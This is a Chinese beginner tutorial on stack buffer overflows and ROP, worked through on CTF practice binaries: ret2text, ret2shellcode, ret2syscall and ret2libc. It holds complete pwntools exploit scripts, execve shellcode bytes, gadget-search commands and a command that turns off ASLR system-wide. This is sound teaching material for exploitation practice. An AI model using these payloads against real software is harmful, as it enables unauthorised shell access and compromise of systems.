【Web狗自虐系列1】Pwn入门之初级ROP

news2024/11/19 15:35:09

0x0 栈介绍

栈式一种典型的后进先出的数据结构,其操作主要有压栈(push)与出栈(pop)两种操作
压栈与出栈都是操作的栈顶
image.png
高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。
程序的栈是从进程地址空间的高地址向低地址增长的。

  • x86
    • 函数参数在函数返回地址的上方
  • x64
    • 前6个整型或指针参数一次保存在RDI,RSI,RDX,RCX,R8和R9寄存器中,如果还有更多的参数的话才会保存在栈上
    • 内存地址不能大于0x00007FFFFFFFFFFF,6个字节长度,否则会抛出异常

0x1 栈溢出原理

栈溢出指的是程序向栈中某个变量写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。
栈溢出的基本前提是:

  • 程序必须向栈上写入数据
  • 写入的数据大小没有被良好地控制

一、简单示例

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,在利用前,我们需要确保这个地址所在的段具有可执行权限,举例

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

这个程序的主要目的读取一个字符串,并将其输出。最终我们想要做到的事可以控制程序执行success函数
使用如下指令对其进行编译

gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example
  • -m32 生成32位程序
  • -fno-stack-protector不开启堆栈溢出保护,即不生成canary
  • --enable-default-pie参数代表PIE默认已开启,需要在编译指令中添加参数-no-pie

Linux平台下还有地址空间分布随机化(ASLR)的机制,简单来说即使可执行文件开启了PIE保护,还需要系统开启ASLR才回真正打乱基址,否则程序运行时依旧会加载一个固定的基址上,可以通过修改/proc/sys/kernel/randomize_va_space来控制ASLR启动与否,具体选项有:

  • 0,关闭ASLR,没有随机化。栈、堆、.so的基地址每次都相同
  • 1,普通ASLR。栈基地址、mmap基地址、.so加载基地址都将被随机化,但是堆基地址没有随机化
  • 2,增强的 ASLR,在1的基础上,增加了堆基地址随机化
    修改指令:关闭Linux系统的ASLR
echo 0 > /proc/sys/kernel/randomize_va_space

image.png
根据分析可知,该字符串距离ebp的长度为0x14,对应的栈结构为

			+--------------------+
			|      retaddr       |
			+--------------------+
			|      saved ebp     |
	ebp---->+--------------------+
			|                    |
			|                    |
			|                    |
			|                    |
			|                    |
			|                    |
s,ebp-0x14->+--------------------+  

通过Ghidra获得success的地址,其地址为0x080491ba
image.png

tips
push ebp是一个函数的开始标志

如果读取的字符串为

0x14*'a' + 'bbbb' + success_addr

由于gets会读到回车才算结束,所以可以直接读取所有字符串,并将saved ebp覆盖为bbbb,将retaddr覆盖为success_addr,此时的栈结构为

			+--------------------+
			|     0x080491ba     |
			+--------------------+
			|        bbbb        |
	ebp---->+--------------------+
			|                    |
			|                    |
			|                    |
			|                    |
			|                    |
			|                    |
s,ebp-0x14->+--------------------+  

由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即0x080491ba在内存中的形式是

\xba\x91\x04\x08

所以构造exp如下

##coding=utf8
# 导入pwn模块
from pwn import *
# 构造与程序交互的对象
sh = process('./01')
# 所要运行的函数的地址
success_addr = 0x080491ba
# code为构造的填充脏字节
code = 'a' * 0x14
# place为填充寄存器的字节
place = 'b' * 0x4
# 拼接payload
payload = code + place + p32(success_addr)
# 打印payload
print(p32(success_addr))
# 发送payload
sh.sendline(payload)
# 将代码交互转换为手工交互
sh.interactive()

执行成功运行vulnerable函数
总结:栈溢出中比较重要的两个步骤分别为

  1. 寻找危险函数(常见危险函数如下)
    1. 输入
      1. gets,直接读取一行,忽略\x00
      2. scanf
      3. vscanf
    2. 输出
      1. sprintf
    3. 字符串
      1. strcpy,字符串复制,遇到\x00停止
      2. strcat,字符串拼接,遇到\x00停止
      3. bcopy
  2. 确定填充长度
    这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离,常见的方法是通过反编译软件,根据其给定的地址计算偏移。一般变量会有以下集中几种索引模式
  • 相对于栈基地址的索引,可以直接通过查看EBP相对偏移获得
  • 相对应栈顶指针的索引,一般需要进行调试,之后还是回转换到第一种类型
  • 直接地址索引,就相当于直接给定了地址
    一般来说,会有如下的覆盖需求
  • 覆盖函数返回地址,直接看EBP即可
  • 覆盖栈上某个变量的内容,需要更加精细的计算
  • 覆盖bss段某个变量的内容
  • 根据现实执行情况,覆盖特定的变量或地址的内容
    之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程。

0x2 基本ROP

ROP适用于开启NX保护的,主要思想:在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓gadgets就是以ret结尾的指令序列,通过这些指令序列,可以修改某些地址的内容,方便控制程序的执行流程。
ROP需要满足的条件:

  • 程序存在溢出,并且可以控制返回地址
  • 可以找到满足条件的gadgets以及相应的gadgets的地址
    如果gadgets每次的地址是不固定的,那就需要想办法动态获取对应的地址了。

ret2text

ret2text即控制程序执行程序本身已有的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(即gadgets),这就是我们所要说的ROP
先查一下保护机制

checksec ret2text

image.png
反编译查看原代码

int main(void)

{
  char buf [100];
  char local_74 [112];
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,1,0);
  puts("There is something amazing here, do you know anything?");
  gets(local_74);
  printf("Maybe I will tell you next time !");
  return 0;
}

程序在主函数中使用了gets函数,明显存在栈溢出漏洞
使用strings查看字符串

strings -t x ret2text

image.png
去Ghidra中查找/bin/sh
image.png
image.png

发现在secure函数中存在调用system(""/bin/sh")的代码,直接控制程序返回至0x0804863a,就可以得到系统的shell了。
构造payload:
确定能够控制的内存的起始地址距离main函数的返回地址的字节数
image.png
可以看到该变量是通过相对于esp的索引,所以需要进行debug,将断点下在call处,查看espebp
image.png
image.png
可以看到esp0xffffd070ebp0xffffd0f8,同时local_74相对于esp的索引为esp+0x1c,据此可以推断:

  • local_74的地址为0xffffd08c
  • local_74相对于ebp的偏移为0x6c
  • local_74相对于返回地址的偏移为0x6c+4
    最后payload如下
from pwn import *
p = process('./ret2text')
target = 0x0804863a
code = 0x6c * 'A'
replace = 0x4 * 'B'
payload = code + replace + p32(target)
p.sendline(payload)
p.interactive()

ret2shellcode

控制程序执行shellcode代码
因为使用了gets函数,可以看出程序依然是基本的栈溢出漏洞
image.png
但是同时程序将对应的字符串复制到了buf2处。简单查看可知buf2bss
image.png
debug一下程序,查看bss段是否可执行
image.png
分析发现,bss段对应的段具有可执行权限
于是就控制程序执行shellcode,即读入shellcode,然后控制程序执行bss段处的shellcode。
偏移量计算,s通过esp索引表示为esp+0x1c
将断点下在call处,查看espebp,如下
image.png
分析可得,esp0xffffd060ebp0xffffd0e8s相对于esp的索引为esp+0x1c因此,可以推断

  • s的地址为0xffffd060
  • s相对于ebp的偏移为0x6c
  • s相对于返回地址的偏移为0x6c+4
    具体的payload如下
# coding=utf8
'''
esp地址:0xffffd060
ebp地址:0xffffd0e8
s相对于esp的索引为esp+0x1c
s相较于ebp的偏移量:0x6c
s相较于返回地址的偏移量:0x6c+4
'''
from pwn import *
sh = process('./ret2shellcode')
# shellcraft.sh() 是 shellcraft 模块中的一个函数,用于生成一个执行 /bin/sh 命令的 Shellcode。
shellcode = asm(shellcraft.sh())
buf2_addr = 0x0804A080

# 偏移量填充加buf2
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
# 交互
sh.interactive()

sniperoj-pwn100-shellcode-x86-64

image.png
checksec分析发现开启了PIE
image.png
分析发现buf分配的空间为0x10,但是read中读取的大小为0X40,明显存在溢出,因此能够使用read来进行栈溢出,下面计算返回地址到buf的偏移量
使用gdb,debug程序,在main函数处打断点,运行到read函数的leave
image.png
buf是通过rsp进行索引的,而rbp相较于rsp的偏移量为0x10,所以buf相较于rbp的偏移量为0x10+8
这里可能会疑惑如何获取buf的地址,分析代码逻辑发现,虽然开启了PIE虚拟化,但是程序在运行时输出了,buf2的地址,因此buf2的问题也解决了
我们还有一个问题就是程序能读取的长度为0x40,其中填充垃圾字符就占有了0x18,因此我们最终只能构造一个长度为40的shellcode
考虑搜一个长度为40的shellcode

https://www.exploit-db.com

这两个都可以

https://www.exploit-db.com/shellcodes/43550
https://www.exploit-db.com/shellcodes/46907

image.png
于是构造的payload如下

# coding=utf8
'''
$rsp     0x00007fffffffdf10 
$rbp     0x00007fffffffdf20
buf距rbp的距离为0x10+8
'''
from pwn import *

p = process('./shellcode')
p.recvuntil('[')
buf_addr = p.recvuntil(']', drop=True)
# 其中24为buf到eip的距离,8是eip的结束位置
offset_addr = int(buf_addr, 16) + 24 + 8
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.sendline(24*'a' + p64(offset_addr)+shellcode)
p.interactive()

ret2syscall

原理:控制程序执行系统调用,获取shell
检测程序开启的保护
image.png
32位程序,开启了NX保护。利用IDA来查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

因为使用了gets函数,可以看出仍然是一个栈溢出。
分析偏移量
gets函数调用下断点,用gdb,debug一下
image.png
分析可得esp的地址为0xffffd090ebp的地址为0xffffd118

  • v4按照esp索引为esp+0x1c
  • v4距离ebp的距离为0x6c
  • v4距离返回地址的距离为0x6c+4
    所以最终的偏移量为112
    由于不能直接利用程序中的某一段代码或者自己填写代码来获取shell,所以考虑利用程序中的gadgets来获取shell,而对应的shell获取则是利用系统调用
    这里不做详细的解释了,简单解释一下,只要我们把对应获取shell的系统调用的参数放在对应的寄存器中,那么我们在执行int 0x80就可执行对应的系统调用。比如这里我们利用如下系统调用来获取shell
execve("/bin/sh", NULL, NULL)

其中,该程序是32位,所以我们需要使得

  • 系统调用号,即eax应为0xb
  • 第一个参数,即ebx应指向/bin/sh的地址(或执行sh的地址也可以)
  • 第二个参数,即ecx应为0
  • 第三个参数,即edx应为0
    想要控制寄存器的值,需要使用gadgets,现在栈顶是10,如果此时执行了pop eax,那现在eax的值就是10。
    eax
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'

image.png
选择第二个来控制eax
ebx
ecx
edx

ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

image.png
选择这条控制ebxecxedx

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

还需要一个/bin/sh字符串对应的地址

ROPgadget --binary rop --string '/bin/sh'

image.png
最终还需要一个int 0x80的地址

ROPgadget --binary rop --only 'int'

image.png

 # coding=utf8
'''
ROP获取
eax: ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
ebx、ecx、edx:ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
int 0x80: ROPgadget --binary rop --only 'int'
/bin/sh: ROPgadget --binary rop --string '/bin/sh'
'''
from pwn import *
p = process('./rop')
pop_eax_ret = 0x080bb196
pop_ebx_ecx_edx_ret = 0x0806eb90
int_80 = 0x08049421
bin_sh = 0x080be408
code = 112

payload = flat(['A' * code, pop_eax_ret, 0xb, pop_ebx_ecx_edx_ret, 0, 0, bin_sh, int_80])
p.sendline(payload)
p.interactive()

ret2libc

ret2libc1

原理:ret2libc即控制函数的执行libc中的函数,通常是返回至某个函数的plt处或函数的具体位置(即函数对应的got表项的内容)。一般情况下,会选择执行system("/bin/sh"),故而此时我们需要知道system函数的地址
image.png
分析源代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(s);
  return 0;
}

使用了gets函数的时候出现了栈溢出。此外,利用ropgadget,我们可以查看是否有/bin/sh存在
或者直接使用ida查看也可以获取
image.png
分析找到system的地址
image.png
直接返回该处,即执行system函数,对应的payload如下

# coding=utf8
'''
esp     0xffffd070
ebp     0xffffd0f8
s相对于esp的偏移量为esp+0x1c
s相对于ebp的偏移量为0x6c
s相对于函数的返回地址的偏移量为0x6c+4
'''
from pwn import *
p = process('./ret2libc1')
bin_sh = 0x08048720
sys_address = 0x08048460
payload = 'A' * 112 + p32(sys_address) + 'B' * 4 + p32(bin_sh)
p.sendline(payload)
p.interactive()

这里需要注意函数调用栈的结果,如果是正常调用system函数,调用时会有一个对应的返回地址,这里以bbbb作为虚假地址,其后参数对应的参数内容。

ret2libc2

在1的基础上,不再出现/bin/sh字符串,需要自己来读取字符串,需要两个gadgets,第一个控制程序读取字符串,第二个控制程序执行system("/bin/sh")
在没有/bin/sh的情况下,通常需要靠构造gets函数调用,将/bin/sh写入buf2中,作为参数,传入system调用,获取shell
在x86架构中,eax寄存器通常用于存储函数的返回值,ebx寄存器是通用寄存器,用于存储通用数据或地址
在调用gets()函数时,eax寄存器用于存储gets()函数的返回值,表示函数执行的结果,ebx寄存器用于存储字符串的目标地址,即将从标准输入读取的字符串存储到的位置
所以gets()函数会将用户输入的字符串,存储到ebx寄存器指向的内存位置

ROPgadget --binary ./ret2libc2 --only 'pop|ret' | grep 'ebx'
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
# coding=utf8
'''
esp:0xffffd070
ebp:0xffffd0f8
s相较于esp的距离为esp+0x1c
s相较于ebp的距离为0x6c
s相较于返回地址的距离为0x6c+4
'''
from pwn import *
p = process('ret2libc2')

'''
构造调用过程中需要用到gets的地址
pop ebx的地址
system的地址
buf2的地址
'''
gets_address = 0x08048460
system_address = 0x08048490
buf2 = 0x0804A080
pop_ebx = 0x0804843d
payload = flat(
    ['a' * 112 + p32(gets_address) + p32(pop_ebx) + p32(buf2) + p32(system_address) + 'b' * 4 + p32(buf2)]
)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

ret2libc3

在前面的基础上去掉了system的地址,需要同时找到system函数地址与/bin/sh字符串的地址
跟前面类似的地方就不在此赘述了
这里主要讲解如何得到system函数的地址,主要利用两个知识点

  • system函数属于libc,而libc.so动态链接库中的函数之间相对偏移是固定的
  • 即使程序有ASLR保护,也只是针对地址中间位进行随机,最低的12位并不会发生改变
    所以,如果我们知道libc中某个函数的地址,可以确定该程序利用的libc。进而可以知道system函数的地址
    采用got表泄漏,即输出某个函数对应的got表项的内容。由于libc的延迟绑定机制,需要泄漏已经执行过的函数的地址
    所以我们的利用思路是这样的
  • 泄漏__libc_start_main地址
  • 获取libc版本
  • 获取system地址与/bin/sh地址
  • 再次执行源程序
  • 触发栈溢出执行system('/bin/sh')
    payload如下
# coding=utf8
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

# 泄漏puts在plt表中的地址
puts_plt = ret2libc3.plt['puts']
# 获取main的地址
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print("泄漏libc_main_start_main_got地址并且再次返回main函数")
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print("获取真实id")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print("获取shell")
payload = flat(['A' * 104, system_addr, 'A' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()

train.cs.nctu.edu.tw: ret2libc

运行程序,发现泄漏了,puts/bin/sh的地址
image.png
开启了NX和Partial RELR0,同时泄漏出/bin/shputs的地址
image.png
image.png
image.png
偏移量计算
使用ida分析发现,v4依靠esp索引的地址为esp+1C
使用gdb调试,在main处下断点,运行到scanf函数处
image.png
image.png
v4相对于esp的距离为esp+1C
v4相对于ebp的距离为0x1C
v4相对于返回地址的距离为0x20
所以偏移量为0x20
构造最终exp

# coding=utf8
from pwn import *
from LibcSearcher import LibcSearcher
p = process('./ret2libc')
if args['REMOTE']:
    libc = ELF('./libc.so.6')
else:
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    
# 用于获取指定符号在libc动态链接库中的地址的字典,libc是一个ELF对象,它表示libc动态链接库。
# symbols是elf对象的一个属性,包含了动态连疾苦中所有符号及其对应的地址
system_offest = libc.symbols['system']
puts_offest = libc.symbols['puts']
p.recvuntil('is ')
sh_addr = int(p.recvuntil('\n', drop=True), 16)
print(hex(sh_addr))
p.recvuntil('is ')
puts_addr = int(p.recvuntil('\n', drop=True), 16)
print(hex(puts_addr))
system_addr = puts_addr - puts_offest + system_offest
payload = flat([0x20 * 'a', system_addr, 'bbbb', sh_addr])
p.sendline(payload)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/726479.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

国产化适配再进一步,融云完成欧拉、TDSQL、优炫等多方适配

近期&#xff0c;融云完成了与开源操作系统欧拉&#xff08;openEuler&#xff09;、企业级数据库 TDSQL 和优炫的适配工作&#xff0c;国产化上下游生态适配之路再次迈进坚实一步。关注【融云 RongCloud】&#xff0c;了解协同办公平台更多干货。 欧拉&#xff08;openEuler&a…

DoTween 学习

部分参考&#xff1a;DOTween中文详解&#xff08;持续更新&#xff09;_一条爱玩游戏的咸鱼的博客-CSDN博客 官方文档&#xff1a;DOTween - Documentation (demigiant.com) 什么是Tween&#xff08;补间&#xff09; 补间&#xff0c;一般指补间动画&#xff0c;例如uni…

Ceph集群的部署

一、Ceph集群的部署 1、集群环境 1.1 集群架构 主机名业务IP存储IP服务器配置系统类型集群角色ceph-mon1-deploy172.17.10.61/16192.168.10.61/242C/4GUbuntu1804mondeploy(部署节点)ceph-mon2172.17.10.62/16192.168.10.62/242C/4GUbuntu1804mon(监控节点)ceph-mon3172.17.…

fun函数方法体=返回值,kotlin

fun函数方法体返回值&#xff0c;kotlin var str: String "fly"fun main(args: Array<String>) {println(getMyString())println(getMyInt())str "phil"println(getMyString())println(getMyInt()) }fun getMyInt(): Int {return if (str.equals(&…

javaweb学习4

作业 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</title><script type"text/javascript">//动态绑定表单提交window.onloadfunction (){//得到form2的dom对象var fo…

多元分类预测 | Matlab基于北方苍鹰优化深度置信网络(NGO-DBN)的分类预测,多输入模型,NGO-DBN分类预测

文章目录 效果一览文章概述部分源码参考资料效果一览 文章概述 多元分类预测 | Matlab基于北方苍鹰优化深度置信网络(NGO-DBN)的分类预测,多输入模型,NGO-DBN分类预测 多特征输入单输出的二分类及多分类模型。程序内注释详细,直接替换数据就可以用。程序语言为matlab,程序可…

在IDEA中如何查看svn版本提交历史记录

1.查看svn版本历史记录方法一 2.查看svn版本历史记录方法二 ①拉取远程库代码 ②提交本地代码到远程 ③查看历史记录 ④回退代码 3.查看历史版本记录的提交 4.选择上图中某次提交记录再次选图中序号4

python接口自动化(十九)--Json 数据处理---实战(详解)

简介 上一篇说了关于json数据处理&#xff0c;是为了断言方便&#xff0c;这篇就带各位小伙伴实战一下。首先捋一下思路&#xff0c;然后根据思路一步一步的去实现和实战&#xff0c;不要一开始就盲目的动手和无头苍蝇一样到处乱撞&#xff0c;撞得头破血流后而放弃了。不仅什么…

模块联邦实践

在聊模块联邦之前&#xff0c;我们先了解下在多个项目下&#xff0c;前端模块如何复用的 跨项目模块复用方案 1、npm 包包管理工具对于前端应用来说不可或缺&#xff0c;我们可以将模块上传到 npm 包&#xff0c;在需要的项目中引入&#xff0c;以此来复用一些公用模块。 2、mo…

基于CANN的AI推理最佳实践丨多路极致性能目标检测应用设计解密

当前人工智能领域&#xff0c;最热门的无疑是以ChatGPT为代表的各种“新贵”大模型&#xff0c;它们高高在上&#xff0c;让你无法触及。但在人们的日常生活中&#xff0c;实际应用需求最大的还是以Yolo模型为代表的目标检测“豪强”&#xff0c;它们每天都在以各种方式落地、应…

javascript匿名函数之立即调用函数

今天在看youtube的前端代码时发现了一个很奇怪的写法&#xff0c;从来没见过&#xff0c;代码如下&#xff1a; (function(e, c, l, f, g, h, k) {var d window;d.getInitialData function() {var b window;b.ytcsi && b.ytcsi.tick("pr", null, "&…

TensorFlow基础和入门案例

TensorFlow简介 TensorFlow是目前主流深度学习框架之一&#xff0c;其库中几乎包含了所有机器学习和深度学习相关的辅助函数和封装类&#xff0c;官方文档如下图所示。在其框架下做各种神经网络算法的开发可以极大减轻工作量&#xff0c;在入门阶段可以不需要深入理解相关优化…

spring拦截器参数及多拦截器执行顺序讲解

1.拦截器中的参数 2.多拦截器执行顺序 如果全部返回true&#xff0c;则按照流程全部执行 如果3返回false&#xff0c;123的preHandler会执行&#xff0c;123的postHandler都不会执行&#xff0c;但是return为true的2和1的after会执行 如果2返回false 12的preHandler会执行 pos…

sql 模糊查询与查询时间范围 起止时间

上代码 <select id"page" resultType"com.sky.entity.Orders">select * from orders<where><if test"number!null and number!">and number like concat(%,#{number},%)</if><if test"phone!null and phone!&q…

选择排序、归并排序、快速排序

1.选择排序 选择排序算法的实现思路有点类似插入排序&#xff0c;也分已排序区间和未排序区间。但是选择排序每次会从未排序区间中找到最小的元素&#xff0c;将其放到已排序区间的末尾。 Java代码实现如下。 ps&#xff1a;选择排序的最好情况时间复杂度、最坏情况和平均情况…

vue子组件监听不到父组件数据变化;子组件获取不到父组件的异步数据

当父子组件嵌套使用时created 和mounted 生命周期的执行顺序是父created -> 子created -> 子mounted -> 父mounted&#xff0c;但是这只是针对同步代码&#xff0c;当生命周期中有异步接口时&#xff0c;那么就会变成父created未执行完 -> 子created -> 子mount…

web安全php基础_魔术常量__FUNCTION__与__METHOD__的区别

PHP 魔术常量 PHP 向它运行的任何脚本提供了大量的预定义常量。 不过很多常量都是由不同的扩展库定义的&#xff0c;只有在加载了这些扩展库时才会出现&#xff0c;或者动态加载后&#xff0c;或者在编译时已经包括进去了。 有八个魔术常量它们的值随着它们在代码中的位置改…

安装Pytorch及配置Pycharm

PyTorch是一个基于Torch的Python开源机器学习库&#xff0c;用于自然语言处理等应用程序。它主要由Facebookd的人工智能小组开发&#xff0c;不仅能够 实现强大的GPU加速&#xff0c;同时还支持动态神经网络&#xff0c;这一点是现在很多主流框架如TensorFlow都不支持的。 本文…

Service Computing Frontier Technology Experiment

任务说明 实验算法 空间数据索引RTree&#xff08;R树&#xff09;完全解析及Java实现 - 佳佳牛 - 博客园 (cnblogs.com) SFS 打开堆文件 t相当于一个指针 当指针指到不为空的时候 如果窗口未被占用那么 如果窗口是满的话那么代表完成 如果窗口没有满的话 把他加到窗口上&a…

k8s 第一篇 基础知识

一 k8s 1.1 概念 k8s 是一个能让应用部署到容器中&#xff0c;实现自动部署和管理更加高效 自能化的平台。 也就是说通过k8s&#xff0c;能够进行应用的自动化部署和扩容。 1.2 集群的架构流程 1.3 k8s的核心概念 1.4 k8s 集群规划 从第6集开始看